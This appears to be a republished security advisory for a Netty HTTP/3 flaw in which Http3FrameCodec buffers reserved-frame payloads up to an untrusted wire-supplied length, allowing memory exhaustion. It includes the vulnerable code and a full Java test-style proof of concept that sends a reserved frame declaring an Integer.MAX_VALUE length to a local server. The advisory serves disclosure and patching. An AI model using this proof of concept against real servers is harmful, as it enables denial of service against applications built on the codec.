CVE-2026-56816
ADVISORY - githubSummary
Summary
Netty's Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAX_VALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened.
Details
io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame handles reserved frame types as follows:
// Handling reserved frame types
// https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8
if (in.readableBytes() < payLoadLength) {
return 0;
}
The payLoadLength is read directly from the wire and trusted implicitly. Since payLoadLength can be up to Integer.MAX_VALUE and there is no maximum payload length enforcement for reserved frames, the decoder will accumulate bytes in memory until the wire-provided length is reached.
This allows a bad actor to exhaust server memory by opening multiple QUIC streams and sending reserved frames with large payload lengths, followed by a small amount of data (e.g., up to the defined limit) on each stream.
PoC
@Test
public void test() throws Exception {
EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
try {
X509Bundle cert = new CertificateBuilder()
.subject("cn=localhost")
.setIsCertificateAuthority(true)
.buildSelfSigned();
QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
.applicationProtocols(Http3.supportedApplicationProtocols())
.build();
CountDownLatch serverConnectionClosed = new CountDownLatch(1);
ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
.sslContext(serverContext)
.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
.initialMaxData(10_000_000)
.initialMaxStreamDataBidirectionalLocal(1_000_000)
.initialMaxStreamDataBidirectionalRemote(1_000_000)
.initialMaxStreamsBidirectional(100)
.tokenHandler(InsecureQuicTokenHandler.INSTANCE)
.handler(new ChannelInitializer<QuicChannel>() {
@Override
protected void initChannel(QuicChannel ch) {
ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());
ch.pipeline().addLast(new Http3ServerConnectionHandler(
new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
cause.printStackTrace();
ctx.close();
}
}));
}
})
.build();
Channel server = new Bootstrap()
.group(group)
.channel(NioDatagramChannel.class)
.handler(serverCodec)
.bind("127.0.0.1", 0)
.sync()
.channel();
QuicSslContext clientContext = QuicSslContextBuilder.forClient()
.trustManager(InsecureTrustManagerFactory.INSTANCE)
.applicationProtocols(Http3.supportedApplicationProtocols())
.build();
ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()
.sslContext(clientContext)
.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
.initialMaxData(10_000_000)
.initialMaxStreamDataBidirectionalLocal(1_000_000)
.build();
Channel client = new Bootstrap()
.group(group)
.channel(NioDatagramChannel.class)
.handler(clientCodec)
.bind(0)
.sync()
.channel();
QuicChannel quicChannel = QuicChannel.newBootstrap(client)
.handler(new Http3ClientConnectionHandler())
.remoteAddress(server.localAddress())
.localAddress(client.localAddress())
.connect()
.get();
QuicStreamChannel rawStream =
quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();
ByteBuf header = Unpooled.buffer();
// Write reserved frame type (64)
header.writeByte(0x40);
header.writeByte(0x40);
// Write payload length (Integer.MAX_VALUE)
header.writeByte(0xC0);
header.writeByte(0x00);
header.writeByte(0x00);
header.writeByte(0x00);
header.writeByte(0x7F);
header.writeByte(0xFF);
header.writeByte(0xFF);
header.writeByte(0xFF);
rawStream.write(header);
// Write the maximum allowed payload
int payloadSize = 1_000_000;
ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]);
rawStream.writeAndFlush(payload).sync();
assertTrue(quicChannel.isActive());
quicChannel.closeFuture().await(5, TimeUnit.SECONDS);
server.close().sync();
client.close().sync();
} finally {
group.shutdownGracefully();
}
}
Impact
Denial of Service due to gradual memory exhaustion. Any application using Netty's HTTP/3 codec is impacted.
Common Weakness Enumeration (CWE)
Uncontrolled Resource Consumption
Sign in to Docker Scout
See which of your images are affected by this CVE and how to fix them by signing into Docker Scout.
Sign in